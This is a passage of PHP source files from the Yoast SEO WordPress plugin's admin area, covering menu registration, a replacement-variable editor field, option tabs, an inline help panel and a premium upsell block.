			$arguments,
			[
				'paper_style'             => true,
				'label_title'             => '',
				'label_description'       => '',
				'description_placeholder' => '',
				'has_new_badge'           => false,
				'is_disabled'             => false,
				'has_premium_badge'       => false,
			]
		);

		$this->validate_arguments( $arguments );

		$this->yform     = $yform;
		$this->arguments = [
			'title'                   => (string) $arguments['title'],
			'description'             => (string) $arguments['description'],
			'page_type_recommended'   => (string) $arguments['page_type_recommended'],
			'page_type_specific'      => (string) $arguments['page_type_specific'],
			'paper_style'             => (bool) $arguments['paper_style'],
			'label_title'             => (string) $arguments['label_title'],
			'label_description'       => (string) $arguments['label_description'],
			'description_placeholder' => (string) $arguments['description_placeholder'],
			'has_new_badge'           => (bool) $arguments['has_new_badge'],
			'is_disabled'             => (bool) $arguments['is_disabled'],
			'has_premium_badge'       => (bool) $arguments['has_premium_badge'],
		];
	}

	/**
	 * Renders a div for the react application to mount to, and hidden inputs where
	 * the app should store it's value so they will be properly saved when the form
	 * is submitted.
	 *
	 * @return void
	 */
	public function render() {
		$this->yform->hidden( $this->arguments['title'], $this->arguments['title'] );
		$this->yform->hidden( $this->arguments['description'], $this->arguments['description'] );

		printf(
			'<div
				data-react-replacevar-editor
				data-react-replacevar-title-field-id="%1$s"
				data-react-replacevar-metadesc-field-id="%2$s"
				data-react-replacevar-page-type-recommended="%3$s"
				data-react-replacevar-page-type-specific="%4$s"
				data-react-replacevar-paper-style="%5$s"
				data-react-replacevar-label-title="%6$s"
				data-react-replacevar-label-description="%7$s"
				data-react-replacevar-description-placeholder="%8$s"
				data-react-replacevar-has-new-badge="%9$s"
				data-react-replacevar-is-disabled="%10$s"
				data-react-replacevar-has-premium-badge="%11$s"
			></div>',
			esc_attr( $this->arguments['title'] ),
			esc_attr( $this->arguments['description'] ),
			esc_attr( $this->arguments['page_type_recommended'] ),
			esc_attr( $this->arguments['page_type_specific'] ),
			esc_attr( $this->arguments['paper_style'] ),
			esc_attr( $this->arguments['label_title'] ),
			esc_attr( $this->arguments['label_description'] ),
			esc_attr( $this->arguments['description_placeholder'] ),
			esc_attr( $this->arguments['has_new_badge'] ),
			esc_attr( $this->arguments['is_disabled'] ),
			esc_attr( $this->arguments['has_premium_badge'] )
		);
	}

	/**
	 * Validates the replacement variable editor arguments.
	 *
	 * @param array $arguments The arguments to validate.
	 *
	 * @throws InvalidArgumentException Thrown when not all required arguments are present.
	 *
	 * @return void
	 */
	protected function validate_arguments( array $arguments ) {
		$required_arguments = [
			'title',
			'description',
			'page_type_recommended',
			'page_type_specific',
			'paper_style',
		];

		foreach ( $required_arguments as $field_name ) {
			if ( ! array_key_exists( $field_name, $arguments ) ) {
				throw new InvalidArgumentException(
					sprintf(
						/* translators: %1$s expands to the missing field name.  */
						__( 'Not all required fields are given. Missing field %1$s', 'wordpress-seo' ),
						$field_name
					)
				);
			}
		}
	}
}
wordpress-seo/admin/menu/class-menu.php000064400000004137147510273110014202 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin\Menu
 */

/**
 * Registers the regular admin menu and network admin menu implementations.
 */
class WPSEO_Menu implements WPSEO_WordPress_Integration {

	/**
	 * The page identifier used in WordPress to register the admin page.
	 *
	 * !DO NOT CHANGE THIS!
	 *
	 * @var string
	 */
	public const PAGE_IDENTIFIER = 'wpseo_dashboard';

	/**
	 * List of classes that add admin functionality.
	 *
	 * @var array
	 */
	protected $admin_features;

	/**
	 * Registers all hooks to WordPress.
	 *
	 * @return void
	 */
	public function register_hooks() {
		$admin_menu = new WPSEO_Admin_Menu( $this );
		$admin_menu->register_hooks();

		if ( WPSEO_Utils::is_plugin_network_active() ) {
			$network_admin_menu = new WPSEO_Network_Admin_Menu( $this );
			$network_admin_menu->register_hooks();
		}

		$capability_normalizer = new WPSEO_Submenu_Capability_Normalize();
		$capability_normalizer->register_hooks();
	}

	/**
	 * Returns the main menu page identifier.
	 *
	 * @return string Page identifier to use.
	 */
	public function get_page_identifier() {
		return self::PAGE_IDENTIFIER;
	}

	/**
	 * Loads the requested admin settings page.
	 *
	 * @return void
	 */
	public function load_page() {
		// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information.
		if ( isset( $_GET['page'] ) && is_string( $_GET['page'] ) ) {
			// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information.
			$page = sanitize_text_field( wp_unslash( $_GET['page'] ) );
			$this->show_page( $page );
		}
	}

	/**
	 * Shows an admin settings page.
	 *
	 * @param string $page Page to display.
	 *
	 * @return void
	 */
	protected function show_page( $page ) {
		switch ( $page ) {
			case 'wpseo_tools':
				require_once WPSEO_PATH . 'admin/pages/tools.php';
				break;

			case 'wpseo_licenses':
				require_once WPSEO_PATH . 'admin/pages/licenses.php';
				break;

			case 'wpseo_files':
				require_once WPSEO_PATH . 'admin/views/tool-file-editor.php';
				break;

			default:
				break;
		}
	}
}
wordpress-seo/admin/menu/class-network-admin-menu.php000064400000004377147510273110016765 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin\Menu
 */

/**
 * Network Admin Menu handler.
 */
class WPSEO_Network_Admin_Menu extends WPSEO_Base_Menu {

	/**
	 * Registers all hooks to WordPress.
	 *
	 * @return void
	 */
	public function register_hooks() {
		// Needs the lower than default priority so other plugins can hook underneath it without issue.
		add_action( 'network_admin_menu', [ $this, 'register_settings_page' ], 5 );
	}

	/**
	 * Register the settings page for the Network settings.
	 *
	 * @return void
	 */
	public function register_settings_page() {
		if ( ! $this->check_manage_capability() ) {
			return;
		}

		add_menu_page(
			__( 'Network Settings', 'wordpress-seo' ) . ' - Yoast SEO',
			'Yoast SEO',
			$this->get_manage_capability(),
			$this->get_page_identifier(),
			[ $this, 'network_config_page' ],
			$this->get_icon_svg()
		);

		$submenu_pages = $this->get_submenu_pages();
		$this->register_submenu_pages( $submenu_pages );
	}

	/**
	 * Returns the list of registered submenu pages.
	 *
	 * @return array List of registered submenu pages.
	 */
	public function get_submenu_pages() {

		// Submenu pages.
		$submenu_pages = [
			$this->get_submenu_page(
				__( 'General', 'wordpress-seo' ),
				$this->get_page_identifier(),
				[ $this, 'network_config_page' ]
			),
		];

		if ( WPSEO_Utils::allow_system_file_edit() === true ) {
			$submenu_pages[] = $this->get_submenu_page( __( 'Edit Files', 'wordpress-seo' ), 'wpseo_files' );
		}

		$submenu_pages[] = $this->get_submenu_page( __( 'Extensions', 'wordpress-seo' ), 'wpseo_licenses' );

		return $submenu_pages;
	}

	/**
	 * Loads the form for the network configuration page.
	 *
	 * @return void
	 */
	public function network_config_page() {
		require_once WPSEO_PATH . 'admin/pages/network.php';
	}

	/**
	 * Checks whether the current user has capabilities to manage all options.
	 *
	 * @return bool True if capabilities are sufficient, false otherwise.
	 */
	protected function check_manage_capability() {
		return current_user_can( $this->get_manage_capability() );
	}

	/**
	 * Returns the capability that is required to manage all options.
	 *
	 * @return string Capability to check against.
	 */
	protected function get_manage_capability() {
		return 'wpseo_manage_network_options';
	}
}
wordpress-seo/admin/menu/class-base-menu.php000064400000021110147510273110015100 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin\Menu
 */

use Yoast\WP\SEO\Promotions\Application\Promotion_Manager;

/**
 * Admin menu base class.
 */
abstract class WPSEO_Base_Menu implements WPSEO_WordPress_Integration {

	/**
	 * A menu.
	 *
	 * @var WPSEO_Menu
	 */
	protected $menu;

	/**
	 * Constructs the Admin Menu.
	 *
	 * @param WPSEO_Menu $menu Menu to use.
	 */
	public function __construct( WPSEO_Menu $menu ) {
		$this->menu = $menu;
	}

	/**
	 * Returns the list of registered submenu pages.
	 *
	 * @return array List of registered submenu pages.
	 */
	abstract public function get_submenu_pages();

	/**
	 * Creates a submenu formatted array.
	 *
	 * @param string          $page_title Page title to use.
	 * @param string          $page_slug  Page slug to use.
	 * @param callable|null   $callback   Optional. Callback which handles the page request.
	 * @param callable[]|null $hook       Optional. Hook to trigger when the page is registered.
	 *
	 * @return array Formatted submenu.
	 */
	protected function get_submenu_page( $page_title, $page_slug, $callback = null, $hook = null ) {
		if ( $callback === null ) {
			$callback = $this->get_admin_page_callback();
		}

		return [
			$this->get_page_identifier(),
			'',
			$page_title,
			$this->get_manage_capability(),
			$page_slug,
			$callback,
			$hook,
		];
	}

	/**
	 * Registers submenu pages as menu pages.
	 *
	 * This method should only be used if the user does not have the required capabilities
	 * to access the parent menu page.
	 *
	 * @param array $submenu_pages List of submenu pages to register.
	 *
	 * @return void
	 */
	protected function register_menu_pages( $submenu_pages ) {
		if ( ! is_array( $submenu_pages ) || empty( $submenu_pages ) ) {
			return;
		}

		// Loop through submenu pages and add them.
		array_walk( $submenu_pages, [ $this, 'register_menu_page' ] );
	}

	/**
	 * Registers submenu pages.
	 *
	 * @param array $submenu_pages List of submenu pages to register.
	 *
	 * @return void
	 */
	protected function register_submenu_pages( $submenu_pages ) {
		if ( ! is_array( $submenu_pages ) || empty( $submenu_pages ) ) {
			return;
		}

		// Loop through submenu pages and add them.
		array_walk( $submenu_pages, [ $this, 'register_submenu_page' ] );
	}

	/**
	 * Registers a submenu page as a menu page.
	 *
	 * This method should only be used if the user does not have the required capabilities
	 * to access the parent menu page.
	 *
	 * @param array $submenu_page {
	 *     Submenu page definition.
	 *
	 *     @type string   $0 Parent menu page slug.
	 *     @type string   $1 Page title, currently unused.
	 *     @type string   $2 Title to display in the menu.
	 *     @type string   $3 Required capability to access the page.
	 *     @type string   $4 Page slug.
	 *     @type callable $5 Callback to run when the page is rendered.
	 *     @type array    $6 Optional. List of callbacks to run when the page is loaded.
	 * }
	 *
	 * @return void
	 */
	protected function register_menu_page( $submenu_page ) {

		// If the submenu page requires the general manage capability, it must be added as an actual submenu page.
		if ( $submenu_page[3] === $this->get_manage_capability() ) {
			return;
		}

		$page_title = 'Yoast SEO: ' . $submenu_page[2];

		// Register submenu page as menu page.
		$hook_suffix = add_menu_page(
			$page_title,
			$submenu_page[2],
			$submenu_page[3],
			$submenu_page[4],
			$submenu_page[5],
			$this->get_icon_svg(),
			99
		);

		// If necessary, add hooks for the submenu page.
		if ( isset( $submenu_page[6] ) && ( is_array( $submenu_page[6] ) ) ) {
			$this->add_page_hooks( $hook_suffix, $submenu_page[6] );
		}
	}

	/**
	 * Registers a submenu page.
	 *
	 * This method will override the capability of the page to automatically use the
	 * general manage capability. Use the `register_menu_page()` method if the submenu
	 * page should actually use a different capability.
	 *
	 * @param array $submenu_page {
	 *     Submenu page definition.
	 *
	 *     @type string   $0 Parent menu page slug.
	 *     @type string   $1 Page title, currently unused.
	 *     @type string   $2 Title to display in the menu.
	 *     @type string   $3 Required capability to access the page.
	 *     @type string   $4 Page slug.
	 *     @type callable $5 Callback to run when the page is rendered.
	 *     @type array    $6 Optional. List of callbacks to run when the page is loaded.
	 * }
	 *
	 * @return void
	 */
	protected function register_submenu_page( $submenu_page ) {
		$page_title = $submenu_page[2];

		// We cannot use $submenu_page[1] because add-ons define that, so hard-code this value.
		if ( $submenu_page[4] === 'wpseo_licenses' ) {
			$page_title = $this->get_license_page_title();
		}

		/*
		 * Handle the Google Search Console special case by passing a fake parent
		 * page slug. This way, the sub-page is stil registered and can be accessed
		 * directly. Its menu item won't be displayed.
		 */
		if ( $submenu_page[4] === 'wpseo_search_console' ) {
			// Set the parent page slug to a non-existing one.
			$submenu_page[0] = 'wpseo_fake_menu_parent_page_slug';
		}

		$page_title .= ' - Yoast SEO';

		// Register submenu page.
		$hook_suffix = add_submenu_page(
			$submenu_page[0],
			$page_title,
			$submenu_page[2],
			$submenu_page[3],
			$submenu_page[4],
			$submenu_page[5]
		);

		// If necessary, add hooks for the submenu page.
		if ( isset( $submenu_page[6] ) && ( is_array( $submenu_page[6] ) ) ) {
			$this->add_page_hooks( $hook_suffix, $submenu_page[6] );
		}
	}

	/**
	 * Adds hook callbacks for a given admin page hook suffix.
	 *
	 * @param string $hook_suffix Admin page hook suffix, as returned by `add_menu_page()`
	 *                            or `add_submenu_page()`.
	 * @param array  $callbacks   Callbacks to add.
	 *
	 * @return void
	 */
	protected function add_page_hooks( $hook_suffix, array $callbacks ) {
		foreach ( $callbacks as $callback ) {
			add_action( 'load-' . $hook_suffix, $callback );
		}
	}

	/**
	 * Gets the main admin page identifier.
	 *
	 * @return string Admin page identifier.
	 */
	protected function get_page_identifier() {
		return $this->menu->get_page_identifier();
	}

	/**
	 * Checks whether the current user has capabilities to manage all options.
	 *
	 * @return bool True if capabilities are sufficient, false otherwise.
	 */
	protected function check_manage_capability() {
		return WPSEO_Capability_Utils::current_user_can( $this->get_manage_capability() );
	}

	/**
	 * Returns the capability that is required to manage all options.
	 *
	 * @return string Capability to check against.
	 */
	abstract protected function get_manage_capability();

	/**
	 * Returns the page handler callback.
	 *
	 * @return array Callback page handler.
	 */
	protected function get_admin_page_callback() {
		return [ $this->menu, 'load_page' ];
	}

	/**
	 * Returns the page title to use for the licenses page.
	 *
	 * @return string The title for the license page.
	 */
	protected function get_license_page_title() {
		static $title = null;

		if ( $title === null ) {
			$title = __( 'Upgrades', 'wordpress-seo' );
		}

		if ( YoastSEO()->classes->get( Promotion_Manager::class )->is( 'black-friday-2024-promotion' ) && ! YoastSEO()->helpers->product->is_premium() ) {
			$title = __( 'Upgrades', 'wordpress-seo' ) . '<span class="yoast-menu-bf-sale-badge">' . __( '30% OFF', 'wordpress-seo' ) . '</span>';
		}

		return $title;
	}

	/**
	 * Returns a base64 URL for the svg for use in the menu.
	 *
	 * @param bool $base64 Whether or not to return base64'd output.
	 *
	 * @return string SVG icon.
	 */
	public function get_icon_svg( $base64 = true ) {
		$svg = '<svg version="1.1" xmlns="http://www.w3.org/2000/svg" xml:space="preserve" width="100%" height="100%" style="fill:#82878c" viewBox="0 0 512 512" role="img" aria-hidden="true" focusable="false"><g><g><g><g><path d="M203.6,395c6.8-17.4,6.8-36.6,0-54l-79.4-204h70.9l47.7,149.4l74.8-207.6H116.4c-41.8,0-76,34.2-76,76V357c0,41.8,34.2,76,76,76H173C189,424.1,197.6,410.3,203.6,395z"/></g><g><path d="M471.6,154.8c0-41.8-34.2-76-76-76h-3L285.7,365c-9.6,26.7-19.4,49.3-30.3,68h216.2V154.8z"/></g></g><path stroke-width="2.974" stroke-miterlimit="10" d="M338,1.3l-93.3,259.1l-42.1-131.9h-89.1l83.8,215.2c6,15.5,6,32.5,0,48c-7.4,19-19,37.3-53,41.9l-7.2,1v76h8.3c81.7,0,118.9-57.2,149.6-142.9L431.6,1.3H338z M279.4,362c-32.9,92-67.6,128.7-125.7,131.8v-45c37.5-7.5,51.3-31,59.1-51.1c7.5-19.3,7.5-40.7,0-60l-75-192.7h52.8l53.3,166.8l105.9-294h58.1L279.4,362z"/></g></g></svg>';

		if ( $base64 ) {
			//phpcs:ignore WordPress.PHP.DiscouragedPHPFunctions.obfuscation_base64_encode -- This encoding is intended.
			return 'data:image/svg+xml;base64,' . base64_encode( $svg );
		}

		return $svg;
	}
}
wordpress-seo/admin/menu/class-admin-menu.php000064400000007515147510273110015273 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin\Menu
 */

/**
 * Registers the admin menu on the left of the admin area.
 */
class WPSEO_Admin_Menu extends WPSEO_Base_Menu {

	/**
	 * Registers all hooks to WordPress.
	 *
	 * @return void
	 */
	public function register_hooks() {
		// Needs the lower than default priority so other plugins can hook underneath it without issue.
		add_action( 'admin_menu', [ $this, 'register_settings_page' ], 5 );
	}

	/**
	 * Registers the menu item submenus.
	 *
	 * @return void
	 */
	public function register_settings_page() {
		$manage_capability   = $this->get_manage_capability();
		$page_identifier     = $this->get_page_identifier();
		$admin_page_callback = $this->get_admin_page_callback();

		// Get all submenu pages.
		$submenu_pages = $this->get_submenu_pages();

		foreach ( $submenu_pages as $submenu_page ) {
			if ( WPSEO_Capability_Utils::current_user_can( $submenu_page[3] ) ) {
				$manage_capability   = $submenu_page[3];
				$page_identifier     = $submenu_page[4];
				$admin_page_callback = $submenu_page[5];
				break;
			}
		}

		foreach ( $submenu_pages as $index => $submenu_page ) {
			$submenu_pages[ $index ][0] = $page_identifier;
		}

		/*
		 * The current user has the capability to control anything.
		 * This means that all submenus and dashboard can be shown.
		 */
		global $admin_page_hooks;

		add_menu_page(
			'Yoast SEO: ' . __( 'Dashboard', 'wordpress-seo' ),
			'Yoast SEO ' . $this->get_notification_counter(),
			$manage_capability,
			$page_identifier,
			$admin_page_callback,
			$this->get_icon_svg(),
			99
		);

		// Wipe notification bits from hooks.
		// phpcs:ignore WordPress.WP.GlobalVariablesOverride -- This is a deliberate action.
		$admin_page_hooks[ $page_identifier ] = 'seo';

		// Add submenu items to the main menu if possible.
		$this->register_submenu_pages( $submenu_pages );
	}

	/**
	 * Returns the list of registered submenu pages.
	 *
	 * @return array List of registered submenu pages.
	 */
	public function get_submenu_pages() {
		global $wpseo_admin;

		$search_console_callback = null;

		// Account for when the available submenu pages are requested from outside the admin.
		if ( isset( $wpseo_admin ) ) {
			$google_search_console   = new WPSEO_GSC();
			$search_console_callback = [ $google_search_console, 'display' ];
		}

		// Submenu pages.
		$submenu_pages = [
			$this->get_submenu_page(
				__( 'Search Console', 'wordpress-seo' ),
				'wpseo_search_console',
				$search_console_callback
			),
			$this->get_submenu_page( __( 'Tools', 'wordpress-seo' ), 'wpseo_tools' ),
			$this->get_submenu_page( $this->get_license_page_title(), 'wpseo_licenses' ),
		];

		/**
		 * Filter: 'wpseo_submenu_pages' - Collects all submenus that need to be shown.
		 *
		 * @param array $submenu_pages List with all submenu pages.
		 */
		return (array) apply_filters( 'wpseo_submenu_pages', $submenu_pages );
	}

	/**
	 * Returns the notification count in HTML format.
	 *
	 * @return string The notification count in HTML format.
	 */
	protected function get_notification_counter() {
		$notification_center = Yoast_Notification_Center::get();
		$notification_count  = $notification_center->get_notification_count();

		// Add main page.
		/* translators: Hidden accessibility text; %s: number of notifications. */
		$notifications = sprintf( _n( '%s notification', '%s notifications', $notification_count, 'wordpress-seo' ), number_format_i18n( $notification_count ) );

		return sprintf( '<span class="update-plugins count-%1$d"><span class="plugin-count" aria-hidden="true">%1$d</span><span class="screen-reader-text">%2$s</span></span>', $notification_count, $notifications );
	}

	/**
	 * Returns the capability that is required to manage all options.
	 *
	 * @return string Capability to check against.
	 */
	protected function get_manage_capability() {
		return 'wpseo_manage_options';
	}
}
wordpress-seo/admin/menu/class-replacevar-field.php000064400000004167147510273110016446 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin\Menu
 */

/**
 * Renders a single replacement variable field.
 */
class WPSEO_Replacevar_Field {

	/**
	 * Forms instance.
	 *
	 * @var Yoast_Form Yoast
	 */
	private $yform;

	/**
	 * The id for the hidden field.
	 *
	 * @var string
	 */
	private $field_id;

	/**
	 * The label for the field.
	 *
	 * @var string
	 */
	private $label;

	/**
	 * The page type for the context of the recommended replace vars.
	 *
	 * @var string
	 */
	private $page_type_recommended;

	/**
	 * The page type for the context of the editor specific replace vars.
	 *
	 * @var string
	 */
	private $page_type_specific;

	/**
	 * Constructs the object.
	 *
	 * @param Yoast_Form $yform                 Yoast forms.
	 * @param string     $field_id              The field id.
	 * @param string     $label                 The field label.
	 * @param string     $page_type_recommended The page type for the context of the recommended replace vars.
	 * @param string     $page_type_specific    The page type for the context of the editor specific replace vars.
	 */
	public function __construct( Yoast_Form $yform, $field_id, $label, $page_type_recommended, $page_type_specific ) {
		$this->yform                 = $yform;
		$this->field_id              = $field_id;
		$this->label                 = $label;
		$this->page_type_recommended = $page_type_recommended;
		$this->page_type_specific    = $page_type_specific;
	}

	/**
	 * Renders a div for the react application to mount to, and hidden inputs where
	 * the app should store it's value so they will be properly saved when the form
	 * is submitted.
	 *
	 * @return void
	 */
	public function render() {
		$this->yform->hidden( $this->field_id, $this->field_id );

		printf(
			'<div
				data-react-replacevar-field
				data-react-replacevar-field-id="%1$s"
				data-react-replacevar-field-label="%2$s"
				data-react-replacevar-page-type-recommended="%3$s"
				data-react-replacevar-page-type-specific="%4$s"></div>',
			esc_attr( $this->field_id ),
			esc_attr( $this->label ),
			esc_attr( $this->page_type_recommended ),
			esc_attr( $this->page_type_specific )
		);
	}
}
wordpress-seo/admin/class-option-tabs-formatter.php000064400000005531147510273110016531 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin\Options\Tabs
 */

use Yoast\WP\SEO\Presenters\Admin\Beta_Badge_Presenter;
use Yoast\WP\SEO\Presenters\Admin\Premium_Badge_Presenter;

/**
 * Class WPSEO_Option_Tabs_Formatter.
 */
class WPSEO_Option_Tabs_Formatter {

	/**
	 * Retrieves the path to the view of the tab.
	 *
	 * @param WPSEO_Option_Tabs $option_tabs Option Tabs to get base from.
	 * @param WPSEO_Option_Tab  $tab         Tab to get name from.
	 *
	 * @return string
	 */
	public function get_tab_view( WPSEO_Option_Tabs $option_tabs, WPSEO_Option_Tab $tab ) {
		return WPSEO_PATH . 'admin/views/tabs/' . $option_tabs->get_base() . '/' . $tab->get_name() . '.php';
	}

	/**
	 * Outputs the option tabs.
	 *
	 * @param WPSEO_Option_Tabs $option_tabs Option Tabs to get tabs from.
	 *
	 * @return void
	 */
	public function run( WPSEO_Option_Tabs $option_tabs ) {

		echo '<h2 class="nav-tab-wrapper" id="wpseo-tabs">';
		foreach ( $option_tabs->get_tabs() as $tab ) {
			$label = esc_html( $tab->get_label() );

			if ( $tab->is_beta() ) {
				$label = '<span style="margin-right:4px;">' . $label . '</span>' . new Beta_Badge_Presenter( $tab->get_name() );
			}
			elseif ( $tab->is_premium() ) {
				$label = '<span style="margin-right:4px;">' . $label . '</span>' . new Premium_Badge_Presenter( $tab->get_name() );
			}

			printf(
				'<a class="nav-tab" id="%1$s" href="%2$s">%3$s</a>',
				esc_attr( $tab->get_name() . '-tab' ),
				esc_url( '#top#' . $tab->get_name() ),
				// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Reason: we do this on purpose
				$label
			);
		}
		echo '</h2>';

		foreach ( $option_tabs->get_tabs() as $tab ) {
			$identifier = $tab->get_name();

			$class = 'wpseotab ' . ( $tab->has_save_button() ? 'save' : 'nosave' );
			printf( '<div id="%1$s" class="%2$s">', esc_attr( $identifier ), esc_attr( $class ) );

			$tab_filter_name = sprintf( '%s_%s', $option_tabs->get_base(), $tab->get_name() );

			/**
			 * Allows to override the content that is display on the specific option tab.
			 *
			 * @internal For internal Yoast SEO use only.
			 *
			 * @param string|null       $tab_contents The content that should be displayed for this tab. Leave empty for default behaviour.
			 * @param WPSEO_Option_Tabs $option_tabs  The registered option tabs.
			 * @param WPSEO_Option_Tab  $tab          The tab that is being displayed.
			 */
			$option_tab_content = apply_filters( 'wpseo_option_tab-' . $tab_filter_name, null, $option_tabs, $tab );
			if ( ! empty( $option_tab_content ) ) {
				echo wp_kses_post( $option_tab_content );
			}

			if ( empty( $option_tab_content ) ) {
				// Output the settings view for all tabs.
				$tab_view = $this->get_tab_view( $option_tabs, $tab );

				if ( is_file( $tab_view ) ) {
					$yform = Yoast_Form::get_instance();
					require $tab_view;
				}
			}

			echo '</div>';
		}
	}
}
wordpress-seo/admin/class-admin-help-panel.php000064400000005310147510273110015377 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin
 */

/**
 * Generates the HTML for an inline Help Button and Panel.
 */
class WPSEO_Admin_Help_Panel {

	/**
	 * Unique identifier of the element the inline help refers to, used as an identifier in the html.
	 *
	 * @var string
	 */
	private $id;

	/**
	 * The Help Button text. Needs a properly escaped string.
	 *
	 * @var string
	 */
	private $help_button_text;

	/**
	 * The Help Panel content. Needs a properly escaped string (might contain HTML).
	 *
	 * @var string
	 */
	private $help_content;

	/**
	 * Optional Whether to print out a container div element for the Help Panel, used for styling.
	 *
	 * @var string
	 */
	private $wrapper;

	/**
	 * Constructor.
	 *
	 * @param string $id               Unique identifier of the element the inline help refers to, used as
	 *                                 an identifier in the html.
	 * @param string $help_button_text The Help Button text. Needs a properly escaped string.
	 * @param string $help_content     The Help Panel content. Needs a properly escaped string (might contain HTML).
	 * @param string $wrapper          Optional Whether to print out a container div element for the Help Panel,
	 *                                 used for styling.
	 *                                 Pass a `has-wrapper` value to print out the container. Default: no container.
	 */
	public function __construct( $id, $help_button_text, $help_content, $wrapper = '' ) {
		$this->id               = $id;
		$this->help_button_text = $help_button_text;
		$this->help_content     = $help_content;
		$this->wrapper          = $wrapper;
	}

	/**
	 * Returns the html for the Help Button.
	 *
	 * @return string
	 */
	public function get_button_html() {

		if ( ! $this->id || ! $this->help_button_text || ! $this->help_content ) {
			return '';
		}

		return sprintf(
			' <button type="button" class="yoast_help yoast-help-button dashicons" id="%1$s-help-toggle" aria-expanded="false" aria-controls="%1$s-help"><span class="yoast-help-icon" aria-hidden="true"></span><span class="screen-reader-text">%2$s</span></button>',
			esc_attr( $this->id ),
			$this->help_button_text
		);
	}

	/**
	 * Returns the html for the Help Panel.
	 *
	 * @return string
	 */
	public function get_panel_html() {

		if ( ! $this->id || ! $this->help_button_text || ! $this->help_content ) {
			return '';
		}

		$wrapper_start = '';
		$wrapper_end   = '';

		if ( $this->wrapper === 'has-wrapper' ) {
			$wrapper_start = '<div class="yoast-seo-help-container">';
			$wrapper_end   = '</div>';
		}

		return sprintf(
			'%1$s<p id="%2$s-help" class="yoast-help-panel">%3$s</p>%4$s',
			$wrapper_start,
			esc_attr( $this->id ),
			$this->help_content,
			$wrapper_end
		);
	}
}
wordpress-seo/admin/class-premium-upsell-admin-block.php000064400000012164147510273110017427 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin
 */

use Yoast\WP\SEO\Promotions\Application\Promotion_Manager;

/**
 * Class WPSEO_Premium_Upsell_Admin_Block
 */
class WPSEO_Premium_Upsell_Admin_Block {

	/**
	 * Hook to display the block on.
	 *
	 * @var string
	 */
	protected $hook;

	/**
	 * Identifier to use in the dismissal functionality.
	 *
	 * @var string
	 */
	protected $identifier = 'premium_upsell';

	/**
	 * Registers which hook the block will be displayed on.
	 *
	 * @param string $hook Hook to display the block on.
	 */
	public function __construct( $hook ) {
		$this->hook = $hook;
	}

	/**
	 * Registers WordPress hooks.
	 *
	 * @return void
	 */
	public function register_hooks() {
		add_action( $this->hook, [ $this, 'render' ] );
	}

	/**
	 * Renders the upsell block.
	 *
	 * @return void
	 */
	public function render() {
		$url = WPSEO_Shortlinker::get( 'https://yoa.st/17h' );

		$arguments = [
			sprintf(
				/* translators: %1$s expands to a strong opening tag, %2$s expands to a strong closing tag. */
				esc_html__( '%1$sAI%2$s: Better SEO titles and meta descriptions, faster.', 'wordpress-seo' ),
				'<strong>',
				'</strong>'
			),
			sprintf(
				/* translators: %1$s expands to a strong opening tag, %2$s expands to a strong closing tag. */
				esc_html__( '%1$sMultiple keywords%2$s: Rank higher for more searches.', 'wordpress-seo' ),
				'<strong>',
				'</strong>'
			),
			sprintf(
				/* translators: %1$s expands to a strong opening tag, %2$s expands to a strong closing tag. */
				esc_html__( '%1$sSuper fast%2$s internal linking suggestions.', 'wordpress-seo' ),
				'<strong>',
				'</strong>'
			),
			sprintf(
				/* translators: %1$s expands to a strong opening tag, %2$s expands to a strong closing tag. */
				esc_html__( '%1$sNo more broken links%2$s: Automatic redirect manager.', 'wordpress-seo' ),
				'<strong>',
				'</strong>'
			),
			sprintf(
				/* translators: %1$s expands to a strong opening tag, %2$s expands to a strong closing tag. */
				esc_html__( '%1$sAppealing social previews%2$s people actually want to click on.', 'wordpress-seo' ),
				'<strong>',
				'</strong>'
			),
			sprintf(
				/* translators: %1$s expands to a strong opening tag, %2$s expands to a strong closing tag. */
				esc_html__( '%1$s24/7 support%2$s: Also on evenings and weekends.', 'wordpress-seo' ),
				'<strong>',
				'</strong>'
			),
			'<strong>' . esc_html__( 'No ads!', 'wordpress-seo' ) . '</strong>',
		];

		$arguments_html = implode( '', array_map( [ $this, 'get_argument_html' ], $arguments ) );

		$class = $this->get_html_class();

		/* translators: %s expands to Yoast SEO Premium */
		$button_text = YoastSEO()->classes->get( Promotion_Manager::class )->is( 'black-friday-2024-promotion' ) ? esc_html__( 'Upgrade now', 'wordpress-seo' ) : sprintf( esc_html__( 'Explore %s now!', 'wordpress-seo' ), 'Yoast SEO Premium' );
		/* translators: Hidden accessibility text. */
		$button_text .= '<span class="screen-reader-text">' . esc_html__( '(Opens in a new browser tab)', 'wordpress-seo' ) . '</span>'
			. '<span aria-hidden="true" class="yoast-button-upsell__caret"></span>';

		$upgrade_button = sprintf(
			'<a id="%1$s" class="yoast-button-upsell" data-action="load-nfd-ctb" data-ctb-id="f6a84663-465f-4cb5-8ba5-f7a6d72224b2" href="%2$s" target="_blank">%3$s</a>',
			esc_attr( 'wpseo-' . $this->identifier . '-popup-button' ),
			esc_url( $url ),
			$button_text
		);

		echo '<div class="' . esc_attr( $class ) . '">';

		if ( YoastSEO()->classes->get( Promotion_Manager::class )->is( 'black-friday-2024-promotion' ) ) {
			$bf_label   = esc_html__( 'BLACK FRIDAY', 'wordpress-seo' );
			$sale_label = esc_html__( '30% OFF', 'wordpress-seo' );
			// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Already escaped above.
			echo "<div class='black-friday-container'><span>$sale_label</span> <span style='margin-left: auto;'>$bf_label</span> </div>";
		}

		echo '<div class="' . esc_attr( $class . '--container' ) . '">';
		echo '<h2 class="' . esc_attr( $class . '--header' ) . '">'
			. sprintf(
				/* translators: %s expands to Yoast SEO Premium */
				esc_html__( 'Upgrade to %s', 'wordpress-seo' ),
				'Yoast SEO Premium'
			)
		. '</h2>';

		// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Correctly escaped in $this->get_argument_html() method.
